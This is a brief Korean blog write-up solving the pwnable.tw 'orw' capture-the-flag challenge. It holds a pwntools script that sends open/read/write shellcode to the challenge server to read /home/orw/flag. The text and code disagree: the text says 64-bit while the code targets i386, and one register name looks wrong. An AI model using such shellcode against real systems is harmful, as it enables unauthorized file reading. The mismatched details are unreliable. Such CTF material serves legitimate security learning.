Pwnable/Pwnable.tw

pwnable.tw orw

HSr00t 2017. 5. 31. 02:55



context로 운영체제와 BIT 정함 (64bit = amd64)

pushstr로 열려고하는 파일 이름을 esp(스택)에 push함

open(esp,0,0) 파일을 열음

read로 파일을 읽어옴

write로 읽어온 내용을 출력함


1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
p=remote("chall.pwnable.tw",10001)
context(arch="i386",os="linux")
 
print p.recvuntil('shellcode:')
 
payload=shellcraft.pushstr("/home/orw/flag")
payload+=shellcraft.open("esp",0,0)
payload+=shellcraft.read('eax','esp',100)
payload+=shellcraft.write(1,'rsp',100)
p.sendline(asm(payload))
 
print p.recv(1024)
cs